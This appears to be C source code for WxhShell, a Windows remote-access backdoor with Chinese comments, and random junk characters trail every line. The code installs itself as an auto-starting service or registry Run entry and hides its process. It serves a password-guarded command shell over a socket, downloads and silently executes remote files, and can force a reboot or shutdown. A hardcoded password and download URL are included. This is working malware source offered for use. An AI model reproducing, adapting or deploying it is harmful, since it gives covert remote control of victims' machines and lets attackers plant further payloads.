    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vCX 54  
    if(Boot(SHUTDOWN)) 0]k-0#JM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4"^v]&I  
    else { }j`#s  
    closesocket(wsh); _<^mi!Y  
    ExitThread(0); JfLoGl;p m  
    } T;C0t9Yew  
    break; 'f_[(o+n  
    } 8{4SaT.-Rm  
  // 获取shell ,II-:&H  
  case 's': { *G&3NSM-  
    CmdShell(wsh); 2H,n"-9+  
    closesocket(wsh); !-AK@`i.  
    ExitThread(0); *e,GXU@  
    break; {ovW6#  
  } i+@t_pxc  
  // 退出 D;! aix3  
  case 'x': { \%/Y(YVm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &"6%D|Z0  
    CloseIt(wsh); +bdjZD3  
    break; L)"E_  
    } FE'F@aS\  
  // 离开 1|XC$0  
  case 'q': { |SX31T9rG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S; Fj9\2)I  
    closesocket(wsh); B`w@Xk'D  
    WSACleanup(); pq +~|  
    exit(1); wl5+VC*l0  
    break; "30R%oL]=  
        } hqc)Ydg_%  
  } |C`.m |  
  } H^fErl  
E}lNb  
  // 提示信息 A}W}H;8x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6 K-jje;)  
} 8~|tl,  
  } >NJ`*M  
$s<bKju  
  return; AGMrBd|J{  
} .azA1@V|  
M0K+Vz=  
// shell模块句柄 _>u0vGF-  
int CmdShell(SOCKET sock) 6b-E|;"]:^  
{ "w&G1kw5I  
STARTUPINFO si; +`&-xq76  
ZeroMemory(&si,sizeof(si)); M32Z3<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l<-0@(x)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ov|/=bzro  
PROCESS_INFORMATION ProcessInfo; WUK{st.z  
char cmdline[]="cmd"; aTFT'(O,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m\eYm;R Vj  
  return 0; ~8tb^  
} 3:MAdh[w  
- p*j9 z  
// 自身启动模式 N VBWF  
int StartFromService(void) d9pZg=$8  
{ }ZB :nnG  
typedef struct V9/PkuT  
{ v%8S:3  
  DWORD ExitStatus; ZIp"X  
  DWORD PebBaseAddress; z;1qYW[-A  
  DWORD AffinityMask; \9%RY]TK3  
  DWORD BasePriority; js F96X{  
  ULONG UniqueProcessId; &XZS}n  
  ULONG InheritedFromUniqueProcessId; EF8'ycJk+  
}   PROCESS_BASIC_INFORMATION; HwxME%w  
-+Gd<U$  
PROCNTQSIP NtQueryInformationProcess; /2Qgg`^)  
Zp_vv@s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RGz NZc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q-D|96>8  
vN$j @h .  
  HANDLE             hProcess; ;S}_/'  
  PROCESS_BASIC_INFORMATION pbi; f[+N=vr  
Q}|QgN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (4"Azo*~![  
  if(NULL == hInst ) return 0; L9^h .Y7  
VjGtEIew  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [fIElH<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %dDwus  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?X~U[dV?  
&? z6f9*$  
  if (!NtQueryInformationProcess) return 0; p^X \~Yibs  
R6E.C!EI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W?2Z31;7  
  if(!hProcess) return 0; /2fQM_ ,P  
MB!$s_~o#L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <,huajQs  
zOT(>1'  
  CloseHandle(hProcess); u 4$$0 `  
egh_1Wg2a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ST25RJC  
if(hProcess==NULL) return 0; 0k 6S`e9gI  
3ox 0-+_  
HMODULE hMod; jCxg)D7W  
char procName[255]; R^=[D#*]>  
unsigned long cbNeeded; -eQ70BXvB  
a6epew!2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gFAtIx4  
+@jX|  
  CloseHandle(hProcess); sY@x(qkIOc  
b5Vn_;V*  
if(strstr(procName,"services")) return 1; // 以服务启动 HN~  
&'A8R;b}-?  
  return 0; // 注册表启动 +X4/l"|  
} m6YDyQC  
obtXtqew  
// 主模块 xq\A TON  
int StartWxhshell(LPSTR lpCmdLine) f ,WAl\  
{ Oq4J$/%  
  SOCKET wsl; nEbJ,#>Z  
BOOL val=TRUE; a_amO<!   
  int port=0; p}9bZKyf  
  struct sockaddr_in door; P,ud"F=r  
<L>$Y#wU  
  if(wscfg.ws_autoins) Install(); L_QJS2  
Av"^uevfs  
port=atoi(lpCmdLine); EjFK zx  
ht5eb"c+ 8  
if(port<=0) port=wscfg.ws_port; Dfl%Knl@J  
Ln@n6*%(/  
  WSADATA data; &M2SqeR62;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :vRUb>z  
mIm.+U`a2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hkoCbR0}8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4.qW ~ W{  
  door.sin_family = AF_INET; :8jaW?~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _|} GhdYE  
  door.sin_port = htons(port); J)"g`)\2+  
7^*[ XH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x/^,{RrPk  
closesocket(wsl); 61=D&lb  
return 1; -1<*mbb0  
} 6y}|IhX?z  
J={R@}u  
  if(listen(wsl,2) == INVALID_SOCKET) { /.<2I  
closesocket(wsl); ,/6 aA7(  
return 1; UCL aCt -  
} cr"AK"TQ  
  Wxhshell(wsl);  g1B[RSWv  
  WSACleanup(); '/ v@q]!  
V]qv,>  
return 0; K6nGC  
z[bS soK`  
} Qz9*o  
/4lm=ZE/  
// 以NT服务方式启动 aEwwK(ny  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kCVA~ %d7  
{ jk-e/C  
DWORD   status = 0; CF_pIfbaf  
  DWORD   specificError = 0xfffffff; 4;.y>~z  
~.L\f%<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WC *e#QP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '980.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NB[(O#  
  serviceStatus.dwWin32ExitCode     = 0; L-QzC<[F/  
  serviceStatus.dwServiceSpecificExitCode = 0; b%"Lwqdr7  
  serviceStatus.dwCheckPoint       = 0; TX7]$Wj  
  serviceStatus.dwWaitHint       = 0; M->$ 'Zgh`  
AV:P/M^B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5\\a49k.p  
  if (hServiceStatusHandle==0) return; R1lC_G]  
YNV4'  
status = GetLastError(); LH]<+Zren  
  if (status!=NO_ERROR) iw)^; 8q  
{ }vspjplk^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [mJmT->  
    serviceStatus.dwCheckPoint       = 0; NQ"`F,T  
    serviceStatus.dwWaitHint       = 0; /2#1Oi)o  
    serviceStatus.dwWin32ExitCode     = status; Ihn+_H u  
    serviceStatus.dwServiceSpecificExitCode = specificError; hA!kkNqV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NsY D~n  
    return; 8fX<,*#I  
  } h(1o!$EU2  
v(vJ[_&%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !=yNj6_f  
  serviceStatus.dwCheckPoint       = 0; 4A@77#:J5  
  serviceStatus.dwWaitHint       = 0; /yn%0Wish  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xhmrep6+<  
} _)6N&u8  
]| PDsb"e  
// 处理NT服务事件,比如:启动、停止 By7? <A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d9kN @W  
{ klwNeGF]N  
switch(fdwControl) _0: }"!Gq  
{ S#wy+*  
case SERVICE_CONTROL_STOP: / Hg/)  
  serviceStatus.dwWin32ExitCode = 0; M)v4>Rw+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G378,H  
  serviceStatus.dwCheckPoint   = 0; %=GF  
  serviceStatus.dwWaitHint     = 0; *sbZ{{]e  
  { \8e27#PJR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %pk'YA{M)q  
  } BJ,9C.|  
  return; W$bQS!7y  
case SERVICE_CONTROL_PAUSE: H$o=kQN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {Z^  G]@  
  break; [;n/|/m,  
case SERVICE_CONTROL_CONTINUE: r(Vz(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m}oqs0xx  
  break; GZ@`}7b}  
case SERVICE_CONTROL_INTERROGATE: ;ZVT[gi*  
  break; yv2N5IQ>{V  
}; ?cRGdLP'D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b!J%s   
} Sl7x>=  
B=p6p f  
// 标准应用程序主函数 q }'ww  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mtunD;_Dek  
{ 2MQ XtK  
bxrT[]  
// 获取操作系统版本 S pqbr@j  
OsIsNt=GetOsVer(); ^}PG*h|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~Y.I;EPKt  
vz1yH%~E  
  // 从命令行安装 2@~hELkk/E  
  if(strpbrk(lpCmdLine,"iI")) Install(); `\vqDWh8-  
*fj5$T-Z  
  // 下载执行文件 >ukn<  
if(wscfg.ws_downexe) { uz%<K(:Ov  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7yM"G$  
  WinExec(wscfg.ws_filenam,SW_HIDE); |2t1m 6\j  
} D{)K00mm  
-)Zp"  
if(!OsIsNt) { ]QbT%0  
// 如果时win9x,隐藏进程并且设置为注册表启动 l}jC$B`5  
HideProc(); yJRqX]MLA  
StartWxhshell(lpCmdLine); 6#SUfK;  
} E@(nKe&6T_  
else Jdc{H/10  
  if(StartFromService()) gFQ\zOlY8a  
  // 以服务方式启动 CNkI9>L=W`  
  StartServiceCtrlDispatcher(DispatchTable); (<ZpT%2  
else 4J9VdEKk  
  // 普通方式启动 )4tOTi[  
  StartWxhshell(lpCmdLine); d(X/N2~g  
HkL`- c0  
return 0; vv FH (W  
} a F!Im}  
\Hs*46@TC  
|@*3 nb8  
Ua2waA  
=========================================== wS"`~Ql_  
Dm+[cA"I  
*&nIxb60b{  
BJNZH#"  
J\%SAit@  
;rqW?':(i  
" 9m+ejTK{U  
km,I75o.  
#include <stdio.h> !-cK@>.pE  
#include <string.h> GVK c4HGt  
#include <windows.h> 1&.q#,EMn(  
#include <winsock2.h> KKcajN  
#include <winsvc.h> \0,8?S  
#include <urlmon.h> aT_%G&.  
][TA7pDPV  
#pragma comment (lib, "Ws2_32.lib") + \jn$>E  
#pragma comment (lib, "urlmon.lib") vXLGdv::  
Mc@_[q!xY?  
#define MAX_USER   100 // 最大客户端连接数 6F8TiR&  
#define BUF_SOCK   200 // sock buffer JUpb*B_z  
#define KEY_BUFF   255 // 输入 buffer pt_]&3\e  
3o^~6A  
#define REBOOT     0   // 重启 ~LF1$Cai  
#define SHUTDOWN   1   // 关机 rf=oH }  
%F2T`?t:  
#define DEF_PORT   5000 // 监听端口 57jDsQAj  
=_=0l+\}  
#define REG_LEN     16   // 注册表键长度 {\u6Cjx  
#define SVC_LEN     80   // NT服务名长度 X@pcL{T!  
Q u_=K_W  
// 从dll定义API @=NTr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G vTA/zA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C-sFTf7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^9zlxs`<d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \ !qe@h<  
$g&_7SJ@  
// wxhshell配置信息 #DA,*  
struct WSCFG { K +l-A>Ic  
  int ws_port;         // 监听端口 U9Gg#M4tY  
  char ws_passstr[REG_LEN]; // 口令 vtw97G  
  int ws_autoins;       // 安装标记, 1=yes 0=no ecMpU8}rR  
  char ws_regname[REG_LEN]; // 注册表键名 @ *&`1  
  char ws_svcname[REG_LEN]; // 服务名 !%/2^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .Mxt F\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 49tJ+J-N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $[U:Dk}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Uo0[ZsFD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =: =s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sUk&NM%>  
= J0r,dR  
}; 2= )V"lR\  
J 7HOSFwXn  
// default Wxhshell configuration 95.s,'0  
struct WSCFG wscfg={DEF_PORT, eHc.#OA&  
    "xuhuanlingzhe", Im"8+756  
    1, Fgw$;W  
    "Wxhshell", 5 D[`nU}  
    "Wxhshell", nU23D@l  
            "WxhShell Service", ?6V U4nK/*  
    "Wrsky Windows CmdShell Service", /}Ct2w&<k  
    "Please Input Your Password: ", Q;k D Jo  
  1, @g] >D  
  "http://www.wrsky.com/wxhshell.exe", S76x EL  
  "Wxhshell.exe" $VJE&b  
    }; "\O{!Hj8  
\F9HsR6  
// 消息定义模块 6 g)X&pZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j)mi~i*U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?OBB)hj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0~Iq9}{*P  
char *msg_ws_ext="\n\rExit."; G7k.YtW  
char *msg_ws_end="\n\rQuit."; \=j|ju3  
char *msg_ws_boot="\n\rReboot..."; Q94p*]W"  
char *msg_ws_poff="\n\rShutdown..."; ow7*HN*  
char *msg_ws_down="\n\rSave to "; |]'gd)%S\  
H><! C  
char *msg_ws_err="\n\rErr!"; 6Tg'9|g  
char *msg_ws_ok="\n\rOK!"; 5 J 7XVe>  
!|-:"hE1h  
char ExeFile[MAX_PATH]; g+QNIM>  
int nUser = 0; J:dNV <A^  
HANDLE handles[MAX_USER]; b8h6fB:2  
int OsIsNt; M5`wfF,j  
iUk#0 I  
SERVICE_STATUS       serviceStatus; "Xj>dB1~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; = /kT|  
CA3`Ee+rD  
// 函数声明 6#Bg99c  
int Install(void); uiq;{!dop  
int Uninstall(void); q) !G5j3  
int DownloadFile(char *sURL, SOCKET wsh); 1Ba.'~:  
int Boot(int flag); w -5_Ru  
void HideProc(void); Qy\K oo  
int GetOsVer(void); e^h4cC\^  
int Wxhshell(SOCKET wsl); )%bY2 pk  
void TalkWithClient(void *cs); 6BObV/S Jg  
int CmdShell(SOCKET sock); bj=YFV+  
int StartFromService(void); ka<rlh<h  
int StartWxhshell(LPSTR lpCmdLine); `r+`vJ$  
0c]3 ,#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $Hal]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 24I~{Qy  
yG:Pg MrB  
// 数据结构和表定义 "FXT8Qxg  
SERVICE_TABLE_ENTRY DispatchTable[] = '_%`0p1  
{ =%0r_#F%=  
{wscfg.ws_svcname, NTServiceMain}, X`0`A2 n  
{NULL, NULL} ktiC*|fd  
}; |c:xK{Ik  
~c|{PZ9U  
// 自我安装 AUwIF/>F(]  
int Install(void) fHacVj J  
{ 4Dv42fO  
  char svExeFile[MAX_PATH]; p} i5z_tS  
  HKEY key; aWMEo`O%  
  strcpy(svExeFile,ExeFile); 3k* U/*  
FQw@ @  
// 如果是win9x系统,修改注册表设为自启动 !;.nL-NQ  
if(!OsIsNt) { xmwH~UWp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IfpFsq:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2@a]x(  
  RegCloseKey(key); Hv .C5mo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8EAkM*D w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?Q/9aqHe;  
  RegCloseKey(key); 0 hS(9y40  
  return 0; Jc,{ n*  
    } 8\rHSsP  
  } pu5-=QN  
} S@eI3Pk E  
else { z=a{;1A  
]`}R,'P  
// 如果是NT以上系统,安装为系统服务 3QD##Wr^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $jNp-5+Q;  
if (schSCManager!=0) n##d!d|g  
{ |d=MX>i|G  
  SC_HANDLE schService = CreateService APY*SeI V  
  ( j:J{m0  
  schSCManager, bId@V[9  
  wscfg.ws_svcname, ,XmyC7y<  
  wscfg.ws_svcdisp, S`&YY89{&  
  SERVICE_ALL_ACCESS, 4&^BcWqA*f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l;'c6o0e  
  SERVICE_AUTO_START, c!=^C/5Ee  
  SERVICE_ERROR_NORMAL, +)-`$N  
  svExeFile, i>L>3]SRr{  
  NULL, VD-2{em  
  NULL, /]"2;e-s+  
  NULL, O)9{qU:[b  
  NULL, VH5Vg We  
  NULL Dv[ 35[Yh  
  ); l} UOg   
  if (schService!=0) K;#9: Z^+  
  {  XV*uu "F  
  CloseServiceHandle(schService); tS&rR0<OW  
  CloseServiceHandle(schSCManager); d=8q/]_p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u7kw/_f  
  strcat(svExeFile,wscfg.ws_svcname); oN " /w~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tQrkRg(E:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xbhU:,o  
  RegCloseKey(key); Oa|'wh ug  
  return 0; VJ$UpqVm  
    } Ee-yP[2 *  
  } '}$$o1R  
  CloseServiceHandle(schSCManager); -%t2_g,  
} xk$U+8K  
} cG~-OHU  
A?/(W_Gt^M  
return 1; 1VC:o]$  
} q/HwcX+[b  
mo- Y %  
// 自我卸载 iLD:}yK  
int Uninstall(void) &ZUV=q%g9n  
{ T?'Vb  
  HKEY key; o$-!E(p  
XB'PEvh8  
if(!OsIsNt) { by8~'?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )I`Ma6bX  
  RegDeleteValue(key,wscfg.ws_regname); x-HN]quhe  
  RegCloseKey(key); 1C' _I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qg#|1J6e  
  RegDeleteValue(key,wscfg.ws_regname); O5eTkKUc  
  RegCloseKey(key); wA;Cj  
  return 0; Kt3 ]r:&J  
  } 9akIu.H  
} ?#0|A?U  
} :gJ?3LwTf  
else { /"%(i#<)xs  
"`4V ^1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bI"_hvcFp  
if (schSCManager!=0) \tx4bV#  
{ 3/q) %Z^=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ).b,KSi  
  if (schService!=0) #N'W+M /  
  { >=Pn\" j  
  if(DeleteService(schService)!=0) { :v>Nz7SB  
  CloseServiceHandle(schService); t}]R0O.s  
  CloseServiceHandle(schSCManager); qoXncdDHZ  
  return 0; HM(S}>  
  } Gn8'h TM  
  CloseServiceHandle(schService); n6Qsug$z  
  } #[C=LGi  
  CloseServiceHandle(schSCManager); _rU%DL?  
} kg^VzNX  
} qu:nV"~_  
^E^Cj;od@  
return 1; Lradyo44u\  
} .sOEqwO}>  
?]]d s]  
// 从指定url下载文件 )IH|S5mG?  
int DownloadFile(char *sURL, SOCKET wsh) `oq][|  
{ ~!& "b1  
  HRESULT hr; }[gk9uM_7  
char seps[]= "/"; ecRY,MN  
char *token; #{BHH;J+  
char *file; QwSYjR:K  
char myURL[MAX_PATH]; shAoib?Kw:  
char myFILE[MAX_PATH]; iYk4=l  
,s9gGCA  
strcpy(myURL,sURL); g VPtd[r  
  token=strtok(myURL,seps); iir]M`A.-  
  while(token!=NULL) ,'f^K!iA   
  { aF41?.s  
    file=token; ,p\:Z3{ZH  
  token=strtok(NULL,seps); Adma~]T9  
  } L" GQ Q  
=W_Pph  
GetCurrentDirectory(MAX_PATH,myFILE); k:qS'  
strcat(myFILE, "\\"); .*(xkJI3  
strcat(myFILE, file); %HAforH  
  send(wsh,myFILE,strlen(myFILE),0); V6ICR{y<3  
send(wsh,"...",3,0); 4fyds< f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8*iIJ  
  if(hr==S_OK) C3"5XR_Ov  
return 0; &xYO6_.  
else #NZ#G~oeO  
return 1; ^.|P&f~  
"h'+!2mf  
} w 4fz!l]  
y k{8O.g  
// 系统电源模块 0lm7'H*~  
int Boot(int flag) H-|%\9&{S  
{ z?DI4 O#Up  
  HANDLE hToken; ZZu{c t9  
  TOKEN_PRIVILEGES tkp; :+q d>;yf#  
7H l>UX,|  
  if(OsIsNt) { -$2a@K,i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U7do,jCoa  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hRwj-N%C  
    tkp.PrivilegeCount = 1; r&/M')}?Lw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9{KL^O?g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \~!!h.xR  
if(flag==REBOOT) { TF1,7Qd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^tTASK  
  return 0; Nr,Q u8  
} MOia] 5  
else { rijavZS6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V*< `!w  
  return 0; fFYfb4o  
} "!w#E6gU  
  } e"D%eFkDW  
  else { a-bj! Rs  
if(flag==REBOOT) { Pb`Uxv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NZoNsNu*C.  
  return 0; 6D&{+;  
} /f}!G  
else { QB.QG!@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K!,T.qA&=  
  return 0; rLpfybu  
} N xW Dw  
} ki6L t  
!y\r.fm!A  
return 1; E#!tXO&,  
} -k8<LR3  
|ns B'Q  
// win9x进程隐藏模块 $-MVsa9>I  
void HideProc(void) BICG@  
{ .mbqsb]&Y  
@u @~gEt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9]Fi2M  
  if ( hKernel != NULL ) 'CMbq Lk#  
  { U #C@&2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ak A7))Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1PB"1.wnd  
    FreeLibrary(hKernel); #soV'SFG  
  } bQ3txuha  
(yb$h0HN  
return; kz\Ss|jl  
} \47djmG-  
lHUd<kEC  
// 获取操作系统版本 lz7?Z  
int GetOsVer(void) }6_*i!68"U  
{ Lc#GBaJ  
  OSVERSIONINFO winfo; .0Kc|b=w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Uc;~q-??#  
  GetVersionEx(&winfo); jQrj3*V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |z7V1xF  
  return 1; hp1+9vEN  
  else B[,AR"#b  
  return 0; BPuum  
} \i'Z(1  
R*=88ds  
// 客户端句柄模块 FS)"MDs  
int Wxhshell(SOCKET wsl) * '_(.Z:  
{ E|vXM"zFl  
  SOCKET wsh; [=BccT:b  
  struct sockaddr_in client; ,gpZz$Ef(  
  DWORD myID; rJ)j./c  
W#P`Y< u$  
  while(nUser<MAX_USER) 7 x'2  
{ uOO\!Hqq  
  int nSize=sizeof(client); DL*vF>v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #CV]S4/^  
  if(wsh==INVALID_SOCKET) return 1; U`aB&[=$  
V3>tW,z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h UC157  
if(handles[nUser]==0) Nq%ir8hE  
  closesocket(wsh); eaC%& k  
else #;yxn.</  
  nUser++; `*l aUn  
  } oY4^CGk=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k8?G%/TD  
)ViBH\.*p  
  return 0; s&hr$`V4  
} lA pZC6Iwk  
_%[po%]  
// 关闭 socket YF)]B|I  
void CloseIt(SOCKET wsh) mqj-/DN6*  
{ ~Pj q3etk  
closesocket(wsh); (3"N~\9m  
nUser--; %.m+6 zaF  
ExitThread(0); ZTibF'\5N  
} 1<Sg@  
f14^VTzP/#  
// 客户端请求句柄 RA!q)/ +  
void TalkWithClient(void *cs) /5<=m:  
{ 8t3m$<7  
<.mH-Y5i  
  SOCKET wsh=(SOCKET)cs; 9Ta0Li  
  char pwd[SVC_LEN]; dU#-;/}o  
  char cmd[KEY_BUFF]; CLTkyS)C  
char chr[1]; ;=7K*npT  
int i,j; 0k#7LubWZl  
*a\6X( ~  
  while (nUser < MAX_USER) { 9O -2  
lm6hFvEZ  
if(wscfg.ws_passstr) { y^"@$   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p- a{6<h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~o>Gm>5!HH  
  //ZeroMemory(pwd,KEY_BUFF); Zwm/c]6`  
      i=0; W#%s0EN<_  
  while(i<SVC_LEN) { f1]zsn:  
@0 'U p  
  // 设置超时 'Oj 1@0*0  
  fd_set FdRead; TF%Xb>jy[  
  struct timeval TimeOut; c"v75lW-J  
  FD_ZERO(&FdRead); mU]VFPr5  
  FD_SET(wsh,&FdRead); .L+XV y  
  TimeOut.tv_sec=8; 0$]iRE;O]  
  TimeOut.tv_usec=0; >MGWN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c} +*$DeT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *5 +GJWKN  
g@37t @I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <|3%}?  
  pwd=chr[0]; P`ou:M{8  
  if(chr[0]==0xd || chr[0]==0xa) { s-_D,$ |  
  pwd=0; =#/Kg_RKL  
  break; m`9nDiV  
  } f4fBUZ^ A  
  i++; f-G)pHm  
    } 'L7qf'RV  
SIV !8mz  
  // 如果是非法用户,关闭 socket h~m,0nGO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .07`nIs"  
} ~N/r;omVc  
mUbm3JIjJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X%+lgm+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R!%nzL@e&`  
0_eqO'"  
while(1) { mwo:+^v(  
!( rAI  
  ZeroMemory(cmd,KEY_BUFF); QXZyiJX}  
`XhH{*Q"X  
      // 自动支持客户端 telnet标准   qx'0(q2Ii(  
  j=0; c7jmzo  
  while(j<KEY_BUFF) { X+C*+k,z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a8f#q]TyQ  
  cmd[j]=chr[0]; %\v8 FCb  
  if(chr[0]==0xa || chr[0]==0xd) { aknIrblS\  
  cmd[j]=0; &yvvea]  
  break; F)(^c  
  } gLB(A\yG  
  j++; %W"u4 NT7  
    } u MEM7$o  
vY-CXWC7  
  // 下载文件 \ dFE.4  
  if(strstr(cmd,"http://")) { 0k5-S~_\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @^<odmM  
  if(DownloadFile(cmd,wsh)) =nGFLH6)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HbegdbTJ  
  else !1G KpL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W!wof- 1  
